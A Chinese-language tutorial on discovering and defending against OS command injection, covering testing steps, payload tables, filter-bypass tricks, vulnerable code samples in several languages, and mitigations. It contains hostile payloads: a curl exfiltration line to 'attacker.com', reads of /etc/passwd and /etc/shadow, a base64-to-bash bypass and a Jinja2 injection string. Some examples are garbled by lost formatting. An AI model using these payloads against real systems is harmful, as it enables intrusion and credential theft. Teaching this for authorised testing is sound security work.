漏洞原理与危害
技术本质:
当应用将用户输入未经净化直接拼接至系统命令(如system()
、exec()
)时,攻击者可通过注入操作符(、&&
、)或反引号(`
)附加恶意指令。
典型场景:
- Web应用:网络设备管理接口、CI/CD工具、内容管理系统(CMS)插件
- 非Web场景:IoT设备固件、桌面软件配置功能
危害等级:
- 高危(CVSS 9.0+):直接获取服务器Shell权限
- 横向威胁:可作为跳板攻击内网系统
黑盒测试挖掘流程
步骤1:识别输入点
✅ 显性输入点: - GET/POST参数(如`?cmd=ping+127.0.0.1`) - HTTP头部(User-Agent, X-Forwarded-For) - 文件上传功能(文件名解析) ✅ 隐性输入点: - 日志分析功能(读取文件路径) - 系统状态检查(ping/traceroute)
步骤2:注入测试向量
注入类型 | 测试Payload | 适用场景 |
---|---|---|
基础分隔符 | ;id && whoami |
Linux/Unix系统 |
管道符 | | cat /etc/passwd |
命令链截断 |
反引号 | `echo test` |
内联命令执行 |
时间盲注 | sleep 5 |
无回显场景 |
环境变量 | ${PATH} |
变量篡改 |
关键技巧:
- 使用双写绕过:
ls -la
(过滤空格时)- 编码混淆:
base64 "id" | base64 -d | bash
(绕过基础过滤)- 盲注检测:通过DNS外带数据(
curl attacker.com/$(whoami)
)
步骤3:回显与错误分析
- 成功特征:
- 返回系统命令结果(如
uid=0(root)
) - 异常错误信息(
sh: 1: invalid-command: not found
)
- 返回系统命令结果(如
- 无回显处理:
- 监听DNS请求(
dnslog.cn
) - 触发延迟响应(
ping -c 10 127.0.0.1
)
- 监听DNS请求(
白盒审计核心策略
危险函数追踪
# Python高危函数 os.system("ping " + user_input) # 直接拼接 subprocess.call(user_input, shell=True) # Shell模式启用 # PHP高危函数 system($_GET['cmd']); exec("nslookup " . $input);
数据流分析
- 从用户输入源(
$_REQUEST
、InputStream
)到危险函数的完整调用链 - 检查过滤逻辑是否允许绕过:
$input = str_replace(";", "", $_POST['ip']); // 未过滤`&&` → 可注入`127.0.0.1 && reboot`
上下文逃逸检测
- 文件路径注入:
/dev/null; id
→ 被误解析为命令 - 模板引擎滥用:
{{config.__class__.__init__.__globals__['os'].system('id')}}
(Jinja2)
自动化工具辅助
工具名称 | 用途 | 使用示例 |
---|---|---|
Burp Suite | 拦截修改请求测试注入 | Intruder模块爆破命令分隔符 |
Commix | 自动化命令注入检测 | commix -u "http://target/?ip=127.0.0.1" |
Semgrep | 静态代码扫描 | 规则匹配os.system($VAR) |
tcpdump | 监听DNS外带流量 | tcpdump -i eth0 port 53 |
工具局限:自动化工具易误报,需人工验证逻辑上下文。
经典漏洞案例
案例1:网络设备管理后台注入
- 漏洞点:路由器Ping功能
POST /ping.php HTTP/1.1 Host: router.local ip=192.168.1.1; cat /etc/shadow
- 利用结果:直接输出系统密码哈希
案例2:Java应用路径拼接漏洞
String cmd = "nslookup " + request.getParameter("domain"); Runtime.getRuntime().exec(cmd); // 未校验domain格式
注入Payload:example.com & calc.exe
→ 在Windows服务器弹出计算器
防御方案(开发者必读)
- 输入白名单
- 仅允许预期字符(如IP地址:
^[0-9.]+$
)
- 仅允许预期字符(如IP地址:
- 安全API调用
- 使用参数化函数(Python:
subprocess.run(['ping', ip], shell=False
)
- 使用参数化函数(Python:
- 最小权限原则
运行服务的用户降权(非root)
- 沙箱隔离
Docker容器化执行高危命令
命令执行漏洞的挖掘需要结合输入点发现、上下文理解、绕过技巧三位一体,安全研究人员应遵循道德准则,所有测试需获得授权,防御的核心在于不信任用户输入,通过设计而非修补解决风险。
引用说明:
- OWASP Command Injection Guide (2025)
- MITRE CWE-78: OS Command Injection
- PortSwigger: Command Injection Vulnerabilities
- SANS Institute: Secure Coding in Java/PHP
原创文章,发布者:酷盾叔,转转请注明出处:https://www.kd.cn/ask/17685.html